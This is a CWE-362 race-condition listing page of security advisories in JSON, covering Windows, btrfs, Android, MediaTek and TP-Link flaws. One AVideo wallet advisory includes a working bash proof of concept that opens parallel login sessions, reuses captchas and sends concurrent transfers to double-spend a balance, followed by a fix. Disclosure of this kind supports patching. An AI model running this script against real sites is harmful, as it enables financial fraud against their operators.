CWE-362
Allowed-with-ReviewConcurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Abstraction: Class · Status: Draft
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.
2921 vulnerabilities reference this CWE, most recent first.
GHSA-H4FF-8JR3-P6JP
Vulnerability from github – Published: 2026-07-14 18:32 – Updated: 2026-07-14 18:32Use after free in Windows Storage allows an authorized attacker to elevate privileges locally.
{
"affected": [],
"aliases": [
"CVE-2026-58526"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-14T17:17:12Z",
"severity": "HIGH"
},
"details": "Use after free in Windows Storage allows an authorized attacker to elevate privileges locally.",
"id": "GHSA-h4ff-8jr3-p6jp",
"modified": "2026-07-14T18:32:11Z",
"published": "2026-07-14T18:32:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58526"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58526"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H52V-87C4-F7QG
Vulnerability from github – Published: 2025-04-16 15:34 – Updated: 2025-11-03 21:33In the Linux kernel, the following vulnerability has been resolved:
btrfs: fix block group refcount race in btrfs_create_pending_block_groups()
Block group creation is done in two phases, which results in a slightly unintuitive property: a block group can be allocated/deallocated from after btrfs_make_block_group() adds it to the space_info with btrfs_add_bg_to_space_info(), but before creation is completely completed in btrfs_create_pending_block_groups(). As a result, it is possible for a block group to go unused and have 'btrfs_mark_bg_unused' called on it concurrently with 'btrfs_create_pending_block_groups'. This causes a number of issues, which were fixed with the block group flag 'BLOCK_GROUP_FLAG_NEW'.
However, this fix is not quite complete. Since it does not use the unused_bg_lock, it is possible for the following race to occur:
btrfs_create_pending_block_groups btrfs_mark_bg_unused if list_empty // false list_del_init clear_bit else if (test_bit) // true list_move_tail
And we get into the exact same broken ref count and invalid new_bgs state for transaction cleanup that BLOCK_GROUP_FLAG_NEW was designed to prevent.
The broken refcount aspect will result in a warning like:
[1272.943527] refcount_t: underflow; use-after-free. [1272.943967] WARNING: CPU: 1 PID: 61 at lib/refcount.c:28 refcount_warn_saturate+0xba/0x110 [1272.944731] Modules linked in: btrfs virtio_net xor zstd_compress raid6_pq null_blk [last unloaded: btrfs] [1272.945550] CPU: 1 UID: 0 PID: 61 Comm: kworker/u32:1 Kdump: loaded Tainted: G W 6.14.0-rc5+ #108 [1272.946368] Tainted: [W]=WARN [1272.946585] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Arch Linux 1.16.3-1-1 04/01/2014 [1272.947273] Workqueue: btrfs_discard btrfs_discard_workfn [btrfs] [1272.947788] RIP: 0010:refcount_warn_saturate+0xba/0x110 [1272.949532] RSP: 0018:ffffbf1200247df0 EFLAGS: 00010282 [1272.949901] RAX: 0000000000000000 RBX: ffffa14b00e3f800 RCX: 0000000000000000 [1272.950437] RDX: 0000000000000000 RSI: ffffbf1200247c78 RDI: 00000000ffffdfff [1272.950986] RBP: ffffa14b00dc2860 R08: 00000000ffffdfff R09: ffffffff90526268 [1272.951512] R10: ffffffff904762c0 R11: 0000000063666572 R12: ffffa14b00dc28c0 [1272.952024] R13: 0000000000000000 R14: ffffa14b00dc2868 R15: 000001285dcd12c0 [1272.952850] FS: 0000000000000000(0000) GS:ffffa14d33c40000(0000) knlGS:0000000000000000 [1272.953458] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [1272.953931] CR2: 00007f838cbda000 CR3: 000000010104e000 CR4: 00000000000006f0 [1272.954474] Call Trace: [1272.954655] [1272.954812] ? refcount_warn_saturate+0xba/0x110 [1272.955173] ? __warn.cold+0x93/0xd7 [1272.955487] ? refcount_warn_saturate+0xba/0x110 [1272.955816] ? report_bug+0xe7/0x120 [1272.956103] ? handle_bug+0x53/0x90 [1272.956424] ? exc_invalid_op+0x13/0x60 [1272.956700] ? asm_exc_invalid_op+0x16/0x20 [1272.957011] ? refcount_warn_saturate+0xba/0x110 [1272.957399] btrfs_discard_cancel_work.cold+0x26/0x2b [btrfs] [1272.957853] btrfs_put_block_group.cold+0x5d/0x8e [btrfs] [1272.958289] btrfs_discard_workfn+0x194/0x380 [btrfs] [1272.958729] process_one_work+0x130/0x290 [1272.959026] worker_thread+0x2ea/0x420 [1272.959335] ? __pfx_worker_thread+0x10/0x10 [1272.959644] kthread+0xd7/0x1c0 [1272.959872] ? __pfx_kthread+0x10/0x10 [1272.960172] ret_from_fork+0x30/0x50 [1272.960474] ? __pfx_kthread+0x10/0x10 [1272.960745] ret_from_fork_asm+0x1a/0x30 [1272.961035] [1272.961238] ---[ end trace 0000000000000000 ]---
Though we have seen them in the async discard workfn as well. It is most likely to happen after a relocation finishes which cancels discard, tears down the block group, etc.
Fix this fully by taking the lock arou ---truncated---
{
"affected": [],
"aliases": [
"CVE-2025-22115"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-16T15:16:05Z",
"severity": "MODERATE"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: fix block group refcount race in btrfs_create_pending_block_groups()\n\nBlock group creation is done in two phases, which results in a slightly\nunintuitive property: a block group can be allocated/deallocated from\nafter btrfs_make_block_group() adds it to the space_info with\nbtrfs_add_bg_to_space_info(), but before creation is completely completed\nin btrfs_create_pending_block_groups(). As a result, it is possible for a\nblock group to go unused and have \u0027btrfs_mark_bg_unused\u0027 called on it\nconcurrently with \u0027btrfs_create_pending_block_groups\u0027. This causes a\nnumber of issues, which were fixed with the block group flag\n\u0027BLOCK_GROUP_FLAG_NEW\u0027.\n\nHowever, this fix is not quite complete. Since it does not use the\nunused_bg_lock, it is possible for the following race to occur:\n\nbtrfs_create_pending_block_groups btrfs_mark_bg_unused\n if list_empty // false\n list_del_init\n clear_bit\n else if (test_bit) // true\n list_move_tail\n\nAnd we get into the exact same broken ref count and invalid new_bgs\nstate for transaction cleanup that BLOCK_GROUP_FLAG_NEW was designed to\nprevent.\n\nThe broken refcount aspect will result in a warning like:\n\n [1272.943527] refcount_t: underflow; use-after-free.\n [1272.943967] WARNING: CPU: 1 PID: 61 at lib/refcount.c:28 refcount_warn_saturate+0xba/0x110\n [1272.944731] Modules linked in: btrfs virtio_net xor zstd_compress raid6_pq null_blk [last unloaded: btrfs]\n [1272.945550] CPU: 1 UID: 0 PID: 61 Comm: kworker/u32:1 Kdump: loaded Tainted: G W 6.14.0-rc5+ #108\n [1272.946368] Tainted: [W]=WARN\n [1272.946585] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Arch Linux 1.16.3-1-1 04/01/2014\n [1272.947273] Workqueue: btrfs_discard btrfs_discard_workfn [btrfs]\n [1272.947788] RIP: 0010:refcount_warn_saturate+0xba/0x110\n [1272.949532] RSP: 0018:ffffbf1200247df0 EFLAGS: 00010282\n [1272.949901] RAX: 0000000000000000 RBX: ffffa14b00e3f800 RCX: 0000000000000000\n [1272.950437] RDX: 0000000000000000 RSI: ffffbf1200247c78 RDI: 00000000ffffdfff\n [1272.950986] RBP: ffffa14b00dc2860 R08: 00000000ffffdfff R09: ffffffff90526268\n [1272.951512] R10: ffffffff904762c0 R11: 0000000063666572 R12: ffffa14b00dc28c0\n [1272.952024] R13: 0000000000000000 R14: ffffa14b00dc2868 R15: 000001285dcd12c0\n [1272.952850] FS: 0000000000000000(0000) GS:ffffa14d33c40000(0000) knlGS:0000000000000000\n [1272.953458] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n [1272.953931] CR2: 00007f838cbda000 CR3: 000000010104e000 CR4: 00000000000006f0\n [1272.954474] Call Trace:\n [1272.954655] \u003cTASK\u003e\n [1272.954812] ? refcount_warn_saturate+0xba/0x110\n [1272.955173] ? __warn.cold+0x93/0xd7\n [1272.955487] ? refcount_warn_saturate+0xba/0x110\n [1272.955816] ? report_bug+0xe7/0x120\n [1272.956103] ? handle_bug+0x53/0x90\n [1272.956424] ? exc_invalid_op+0x13/0x60\n [1272.956700] ? asm_exc_invalid_op+0x16/0x20\n [1272.957011] ? refcount_warn_saturate+0xba/0x110\n [1272.957399] btrfs_discard_cancel_work.cold+0x26/0x2b [btrfs]\n [1272.957853] btrfs_put_block_group.cold+0x5d/0x8e [btrfs]\n [1272.958289] btrfs_discard_workfn+0x194/0x380 [btrfs]\n [1272.958729] process_one_work+0x130/0x290\n [1272.959026] worker_thread+0x2ea/0x420\n [1272.959335] ? __pfx_worker_thread+0x10/0x10\n [1272.959644] kthread+0xd7/0x1c0\n [1272.959872] ? __pfx_kthread+0x10/0x10\n [1272.960172] ret_from_fork+0x30/0x50\n [1272.960474] ? __pfx_kthread+0x10/0x10\n [1272.960745] ret_from_fork_asm+0x1a/0x30\n [1272.961035] \u003c/TASK\u003e\n [1272.961238] ---[ end trace 0000000000000000 ]---\n\nThough we have seen them in the async discard workfn as well. It is\nmost likely to happen after a relocation finishes which cancels discard,\ntears down the block group, etc.\n\nFix this fully by taking the lock arou\n---truncated---",
"id": "GHSA-h52v-87c4-f7qg",
"modified": "2025-11-03T21:33:39Z",
"published": "2025-04-16T15:34:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22115"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/2d8e5168d48a91e7a802d3003e72afb4304bebfa"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/9d383a6fc59271aaaf07a33b23b2eac5b9268b7a"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/ee56da95f8962b86fec4ef93f866e64c8d025a58"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H544-387W-H4RM
Vulnerability from github – Published: 2022-05-24 19:05 – Updated: 2022-06-29 00:00In decrypt of CryptoPlugin.cpp, there is a possible use-after-free due to a race condition. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-11Android ID: A-176495665
{
"affected": [],
"aliases": [
"CVE-2021-0564"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-22T11:15:00Z",
"severity": "MODERATE"
},
"details": "In decrypt of CryptoPlugin.cpp, there is a possible use-after-free due to a race condition. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-11Android ID: A-176495665",
"id": "GHSA-h544-387w-h4rm",
"modified": "2022-06-29T00:00:39Z",
"published": "2022-05-24T19:05:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-0564"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/pixel/2021-06-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H54M-C522-H6QR
Vulnerability from github – Published: 2026-03-30 17:51 – Updated: 2026-03-30 17:51Summary
The transferBalance() method in plugin/YPTWallet/YPTWallet.php contains a Time-of-Check-Time-of-Use (TOCTOU) race condition. The method reads the sender's wallet balance, checks sufficiency in PHP, then writes the new balance — all without database transactions or row-level locking. An attacker with multiple authenticated sessions can send concurrent transfer requests that all read the same stale balance, each passing the balance check independently, resulting in only one deduction being applied while the recipient is credited multiple times.
Details
The vulnerable code path in plugin/YPTWallet/YPTWallet.php:450-517:
// Line 473-474: READ - fetch current balance (plain SELECT, no FOR UPDATE)
$senderWallet = self::getWallet($fromUserId);
$senderBalance = $senderWallet->getBalance();
$senderNewBalance = $senderBalance - $amount;
// Line 477: CHECK - verify sufficient funds in PHP
if ($senderNewBalance < 0) {
return false;
}
// Line 486-487: WRITE - set new balance (plain UPDATE)
$senderWallet->setBalance($senderNewBalance);
$senderWalletId = $senderWallet->save();
// Line 497-502: Credit receiver (also plain SELECT + UPDATE)
$receiverWallet = self::getWallet($toUserId);
$receiverBalance = $receiverWallet->getBalance();
$receiverNewBalance = $receiverBalance + $amount;
$receiverWallet->setBalance($receiverNewBalance);
$receiverWalletId = $receiverWallet->save();
The getWallet() method (YPTWallet.php:244) calls Wallet::getFromUser() (Wallet.php:69-84) which executes a plain SELECT * FROM wallet WHERE users_id = $users_id with no FOR UPDATE clause. The save() method (Wallet.php:105) calls ObjectYPT::save() (Object.php:293) which executes a plain UPDATE — no transaction wrapping.
Race window: Between the SELECT (step 1) and UPDATE (step 3), all concurrent requests see the same original balance. Each independently computes original - amount, passes the check, and writes back. The last writer wins for the sender (only one deduction effective), but the receiver gets credited once per request.
Why concurrent requests succeed: PHP's file-based session locking serializes requests per session. However, an attacker can create multiple login sessions (different PHPSESSID cookies) for the same user account. Each session has its own lock and can execute concurrently. Each session needs its own captcha, but the captcha validation in objects/captcha.php:58-73 compares $_SESSION['palavra'] without unsetting it after validation, allowing unlimited reuse within each session.
Entry point: plugin/YPTWallet/view/transferFunds.json.php:39 calls YPTWallet::transferBalance(User::getId(), $_POST['users_id'], $_POST['value']) — requires only User::isLogged() and a valid captcha.
PoC
# Prerequisites: Attacker has a registered account with $10 wallet balance
# Accomplice has a registered account (recipient)
TARGET="https://target-avideo-instance"
ACCOMPLICE_ID=123 # recipient user ID
# Step 1: Create 5 independent sessions for the same attacker account
declare -a SESSIONS
declare -a CAPTCHA_ANSWERS
for i in $(seq 1 5); do
# Login and capture session cookie
COOKIE=$(curl -s -c - "$TARGET/objects/login.json.php" \
-d 'user=attacker&pass=attackerpass' | grep PHPSESSID | awk '{print $NF}')
# Load captcha to populate $_SESSION['palavra']
curl -s -b "PHPSESSID=$COOKIE" "$TARGET/objects/captcha.php" -o "captcha_$i.png"
SESSIONS[$i]=$COOKIE
echo "Session $i: $COOKIE — solve captcha_$i.png manually"
done
# Step 2: After solving captchas, fire all 5 transfer requests simultaneously
# Each requests $10 transfer — all will read balance=$10 concurrently
for i in $(seq 1 5); do
curl -s -b "PHPSESSID=${SESSIONS[$i]}" \
"$TARGET/plugin/YPTWallet/view/transferFunds.json.php" \
-d "users_id=$ACCOMPLICE_ID&value=10&captcha=${CAPTCHA_ANSWERS[$i]}" &
done
wait
# Expected result:
# - Attacker balance: $0 (last write wins, sets balance to 10-10=0)
# - Accomplice balance: credited $10 x N successful races (up to $50)
# - Net money created from nothing: up to $40
Impact
An authenticated attacker can exploit this race condition to:
- Create wallet balance from nothing: With a $10 balance and N concurrent requests, the recipient can receive up to $10×N while the sender only loses $10.
- Bypass pay-per-view charges: Inflate wallet balance, then purchase paid content without real payment.
- Bypass subscription fees: Use inflated balance to purchase subscriptions.
- Financial integrity compromise: The wallet ledger becomes inconsistent — total balances across all users no longer match total deposits.
The attack requires solving one captcha per session (captchas are reusable within a session), creating multiple login sessions, and timing concurrent requests — achievable with basic scripting.
Recommended Fix
Replace the read-check-write pattern with an atomic database operation using a transaction and row-level locking:
public static function transferBalance($fromUserId, $toUserId, $amount, $customDescription = "", $forceTransfer = false)
{
global $global;
// ... existing auth and validation checks ...
$amount = floatval($amount);
if ($amount <= 0) {
return false;
}
// Use a database transaction with row-level locking
$global['mysqli']->autocommit(false);
$global['mysqli']->begin_transaction();
try {
// Lock sender row and read balance atomically
$sql = "SELECT id, balance FROM wallet WHERE users_id = ? FOR UPDATE";
$stmt = $global['mysqli']->prepare($sql);
$stmt->bind_param("i", $fromUserId);
$stmt->execute();
$result = $stmt->get_result();
$senderRow = $result->fetch_assoc();
$stmt->close();
if (empty($senderRow)) {
$global['mysqli']->rollback();
return false;
}
$senderBalance = floatval($senderRow['balance']);
$senderNewBalance = $senderBalance - $amount;
if ($senderNewBalance < 0) {
$global['mysqli']->rollback();
return false;
}
// Atomic deduction
$sql = "UPDATE wallet SET balance = ? WHERE id = ? AND balance >= ?";
$stmt = $global['mysqli']->prepare($sql);
$stmt->bind_param("did", $senderNewBalance, $senderRow['id'], $amount);
$stmt->execute();
if ($stmt->affected_rows === 0) {
$global['mysqli']->rollback();
$stmt->close();
return false;
}
$stmt->close();
// Credit receiver (also locked)
$sql = "SELECT id, balance FROM wallet WHERE users_id = ? FOR UPDATE";
$stmt = $global['mysqli']->prepare($sql);
$stmt->bind_param("i", $toUserId);
$stmt->execute();
$result = $stmt->get_result();
$receiverRow = $result->fetch_assoc();
$stmt->close();
$receiverNewBalance = floatval($receiverRow['balance']) + $amount;
$sql = "UPDATE wallet SET balance = ? WHERE id = ?";
$stmt = $global['mysqli']->prepare($sql);
$stmt->bind_param("di", $receiverNewBalance, $receiverRow['id']);
$stmt->execute();
$stmt->close();
$global['mysqli']->commit();
// ... log entries ...
} catch (Exception $e) {
$global['mysqli']->rollback();
return false;
} finally {
$global['mysqli']->autocommit(true);
}
}
Additionally, fix the captcha reuse issue in objects/captcha.php:58-73 by unsetting $_SESSION['palavra'] after successful validation:
public static function validation($word)
{
// ... existing checks ...
$validation = (strcasecmp($word, $_SESSION["palavra"]) == 0);
if ($validation) {
unset($_SESSION["palavra"]); // Consume the captcha token
}
return $validation;
}
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34368"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-30T17:51:12Z",
"nvd_published_at": "2026-03-27T18:16:05Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `transferBalance()` method in `plugin/YPTWallet/YPTWallet.php` contains a Time-of-Check-Time-of-Use (TOCTOU) race condition. The method reads the sender\u0027s wallet balance, checks sufficiency in PHP, then writes the new balance \u2014 all without database transactions or row-level locking. An attacker with multiple authenticated sessions can send concurrent transfer requests that all read the same stale balance, each passing the balance check independently, resulting in only one deduction being applied while the recipient is credited multiple times.\n\n## Details\n\nThe vulnerable code path in `plugin/YPTWallet/YPTWallet.php:450-517`:\n\n```php\n// Line 473-474: READ - fetch current balance (plain SELECT, no FOR UPDATE)\n$senderWallet = self::getWallet($fromUserId);\n$senderBalance = $senderWallet-\u003egetBalance();\n$senderNewBalance = $senderBalance - $amount;\n\n// Line 477: CHECK - verify sufficient funds in PHP\nif ($senderNewBalance \u003c 0) {\n return false;\n}\n\n// Line 486-487: WRITE - set new balance (plain UPDATE)\n$senderWallet-\u003esetBalance($senderNewBalance);\n$senderWalletId = $senderWallet-\u003esave();\n\n// Line 497-502: Credit receiver (also plain SELECT + UPDATE)\n$receiverWallet = self::getWallet($toUserId);\n$receiverBalance = $receiverWallet-\u003egetBalance();\n$receiverNewBalance = $receiverBalance + $amount;\n$receiverWallet-\u003esetBalance($receiverNewBalance);\n$receiverWalletId = $receiverWallet-\u003esave();\n```\n\nThe `getWallet()` method (`YPTWallet.php:244`) calls `Wallet::getFromUser()` (`Wallet.php:69-84`) which executes a plain `SELECT * FROM wallet WHERE users_id = $users_id` with no `FOR UPDATE` clause. The `save()` method (`Wallet.php:105`) calls `ObjectYPT::save()` (`Object.php:293`) which executes a plain `UPDATE` \u2014 no transaction wrapping.\n\n**Race window**: Between the SELECT (step 1) and UPDATE (step 3), all concurrent requests see the same original balance. Each independently computes `original - amount`, passes the check, and writes back. The last writer wins for the sender (only one deduction effective), but the receiver gets credited once per request.\n\n**Why concurrent requests succeed**: PHP\u0027s file-based session locking serializes requests per session. However, an attacker can create multiple login sessions (different PHPSESSID cookies) for the same user account. Each session has its own lock and can execute concurrently. Each session needs its own captcha, but the captcha validation in `objects/captcha.php:58-73` compares `$_SESSION[\u0027palavra\u0027]` without unsetting it after validation, allowing unlimited reuse within each session.\n\nEntry point: `plugin/YPTWallet/view/transferFunds.json.php:39` calls `YPTWallet::transferBalance(User::getId(), $_POST[\u0027users_id\u0027], $_POST[\u0027value\u0027])` \u2014 requires only `User::isLogged()` and a valid captcha.\n\n## PoC\n\n```bash\n# Prerequisites: Attacker has a registered account with $10 wallet balance\n# Accomplice has a registered account (recipient)\n\nTARGET=\"https://target-avideo-instance\"\nACCOMPLICE_ID=123 # recipient user ID\n\n# Step 1: Create 5 independent sessions for the same attacker account\ndeclare -a SESSIONS\ndeclare -a CAPTCHA_ANSWERS\n\nfor i in $(seq 1 5); do\n # Login and capture session cookie\n COOKIE=$(curl -s -c - \"$TARGET/objects/login.json.php\" \\\n -d \u0027user=attacker\u0026pass=attackerpass\u0027 | grep PHPSESSID | awk \u0027{print $NF}\u0027)\n \n # Load captcha to populate $_SESSION[\u0027palavra\u0027]\n curl -s -b \"PHPSESSID=$COOKIE\" \"$TARGET/objects/captcha.php\" -o \"captcha_$i.png\"\n \n SESSIONS[$i]=$COOKIE\n echo \"Session $i: $COOKIE \u2014 solve captcha_$i.png manually\"\ndone\n\n# Step 2: After solving captchas, fire all 5 transfer requests simultaneously\n# Each requests $10 transfer \u2014 all will read balance=$10 concurrently\nfor i in $(seq 1 5); do\n curl -s -b \"PHPSESSID=${SESSIONS[$i]}\" \\\n \"$TARGET/plugin/YPTWallet/view/transferFunds.json.php\" \\\n -d \"users_id=$ACCOMPLICE_ID\u0026value=10\u0026captcha=${CAPTCHA_ANSWERS[$i]}\" \u0026\ndone\nwait\n\n# Expected result:\n# - Attacker balance: $0 (last write wins, sets balance to 10-10=0)\n# - Accomplice balance: credited $10 x N successful races (up to $50)\n# - Net money created from nothing: up to $40\n```\n\n## Impact\n\nAn authenticated attacker can exploit this race condition to:\n\n- **Create wallet balance from nothing**: With a $10 balance and N concurrent requests, the recipient can receive up to $10\u00d7N while the sender only loses $10.\n- **Bypass pay-per-view charges**: Inflate wallet balance, then purchase paid content without real payment.\n- **Bypass subscription fees**: Use inflated balance to purchase subscriptions.\n- **Financial integrity compromise**: The wallet ledger becomes inconsistent \u2014 total balances across all users no longer match total deposits.\n\nThe attack requires solving one captcha per session (captchas are reusable within a session), creating multiple login sessions, and timing concurrent requests \u2014 achievable with basic scripting.\n\n## Recommended Fix\n\nReplace the read-check-write pattern with an atomic database operation using a transaction and row-level locking:\n\n```php\npublic static function transferBalance($fromUserId, $toUserId, $amount, $customDescription = \"\", $forceTransfer = false)\n{\n global $global;\n \n // ... existing auth and validation checks ...\n \n $amount = floatval($amount);\n if ($amount \u003c= 0) {\n return false;\n }\n\n // Use a database transaction with row-level locking\n $global[\u0027mysqli\u0027]-\u003eautocommit(false);\n $global[\u0027mysqli\u0027]-\u003ebegin_transaction();\n \n try {\n // Lock sender row and read balance atomically\n $sql = \"SELECT id, balance FROM wallet WHERE users_id = ? FOR UPDATE\";\n $stmt = $global[\u0027mysqli\u0027]-\u003eprepare($sql);\n $stmt-\u003ebind_param(\"i\", $fromUserId);\n $stmt-\u003eexecute();\n $result = $stmt-\u003eget_result();\n $senderRow = $result-\u003efetch_assoc();\n $stmt-\u003eclose();\n \n if (empty($senderRow)) {\n $global[\u0027mysqli\u0027]-\u003erollback();\n return false;\n }\n \n $senderBalance = floatval($senderRow[\u0027balance\u0027]);\n $senderNewBalance = $senderBalance - $amount;\n \n if ($senderNewBalance \u003c 0) {\n $global[\u0027mysqli\u0027]-\u003erollback();\n return false;\n }\n \n // Atomic deduction\n $sql = \"UPDATE wallet SET balance = ? WHERE id = ? AND balance \u003e= ?\";\n $stmt = $global[\u0027mysqli\u0027]-\u003eprepare($sql);\n $stmt-\u003ebind_param(\"did\", $senderNewBalance, $senderRow[\u0027id\u0027], $amount);\n $stmt-\u003eexecute();\n \n if ($stmt-\u003eaffected_rows === 0) {\n $global[\u0027mysqli\u0027]-\u003erollback();\n $stmt-\u003eclose();\n return false;\n }\n $stmt-\u003eclose();\n \n // Credit receiver (also locked)\n $sql = \"SELECT id, balance FROM wallet WHERE users_id = ? FOR UPDATE\";\n $stmt = $global[\u0027mysqli\u0027]-\u003eprepare($sql);\n $stmt-\u003ebind_param(\"i\", $toUserId);\n $stmt-\u003eexecute();\n $result = $stmt-\u003eget_result();\n $receiverRow = $result-\u003efetch_assoc();\n $stmt-\u003eclose();\n \n $receiverNewBalance = floatval($receiverRow[\u0027balance\u0027]) + $amount;\n $sql = \"UPDATE wallet SET balance = ? WHERE id = ?\";\n $stmt = $global[\u0027mysqli\u0027]-\u003eprepare($sql);\n $stmt-\u003ebind_param(\"di\", $receiverNewBalance, $receiverRow[\u0027id\u0027]);\n $stmt-\u003eexecute();\n $stmt-\u003eclose();\n \n $global[\u0027mysqli\u0027]-\u003ecommit();\n \n // ... log entries ...\n \n } catch (Exception $e) {\n $global[\u0027mysqli\u0027]-\u003erollback();\n return false;\n } finally {\n $global[\u0027mysqli\u0027]-\u003eautocommit(true);\n }\n}\n```\n\nAdditionally, fix the captcha reuse issue in `objects/captcha.php:58-73` by unsetting `$_SESSION[\u0027palavra\u0027]` after successful validation:\n\n```php\npublic static function validation($word)\n{\n // ... existing checks ...\n $validation = (strcasecmp($word, $_SESSION[\"palavra\"]) == 0);\n if ($validation) {\n unset($_SESSION[\"palavra\"]); // Consume the captcha token\n }\n return $validation;\n}\n```",
"id": "GHSA-h54m-c522-h6qr",
"modified": "2026-03-30T17:51:12Z",
"published": "2026-03-30T17:51:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-h54m-c522-h6qr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34368"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/34132ad5159784bfc7ba0d7634bb5c79b769202d"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo Vulnerable to Wallet Balance Double-Spend via TOCTOU Race Condition in transferBalance"
}
GHSA-H64C-GQH4-8RR8
Vulnerability from github – Published: 2023-09-04 03:30 – Updated: 2024-04-04 07:24In camsys, there is a possible use after free due to a race condition. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS07341261; Issue ID: ALPS07326570.
{
"affected": [],
"aliases": [
"CVE-2023-20835"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-04T03:15:10Z",
"severity": "MODERATE"
},
"details": "In camsys, there is a possible use after free due to a race condition. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS07341261; Issue ID: ALPS07326570.",
"id": "GHSA-h64c-gqh4-8rr8",
"modified": "2024-04-04T07:24:37Z",
"published": "2023-09-04T03:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20835"
},
{
"type": "WEB",
"url": "https://corp.mediatek.com/product-security-bulletin/September-2023"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H656-3W5X-8QXP
Vulnerability from github – Published: 2025-10-14 18:30 – Updated: 2025-10-14 18:30Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Resilient File System (ReFS) allows an unauthorized attacker to elevate privileges locally.
{
"affected": [],
"aliases": [
"CVE-2025-55687"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-14T17:15:49Z",
"severity": "HIGH"
},
"details": "Concurrent execution using shared resource with improper synchronization (\u0027race condition\u0027) in Windows Resilient File System (ReFS) allows an unauthorized attacker to elevate privileges locally.",
"id": "GHSA-h656-3w5x-8qxp",
"modified": "2025-10-14T18:30:31Z",
"published": "2025-10-14T18:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55687"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55687"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H688-4PC2-376F
Vulnerability from github – Published: 2024-05-03 03:30 – Updated: 2024-05-03 03:30TP-Link AX1800 hotplugd Firewall Rule Race Condition Vulnerability. This vulnerability allows remote attackers to gain access to LAN-side services on affected installations of TP-Link Archer AX21 routers. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the hotplugd daemon. The issue results from firewall rule handling that allows an attacker access to resources that should be available to the LAN interface only. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of the root user. Was ZDI-CAN-19664.
{
"affected": [],
"aliases": [
"CVE-2023-27359"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-03T02:15:13Z",
"severity": "CRITICAL"
},
